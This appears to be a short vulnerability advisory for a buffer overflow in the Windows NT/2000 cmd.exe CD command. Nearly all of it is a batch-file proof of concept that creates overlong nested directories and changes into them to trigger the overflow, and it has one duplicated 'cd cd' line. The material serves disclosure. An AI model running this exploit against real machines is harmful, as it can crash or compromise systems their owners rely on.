Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability

Microsoft Windows NT/2000 cmd.exe CD Buffer Overflow Vulnerability

The following proof of concept was provided:

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..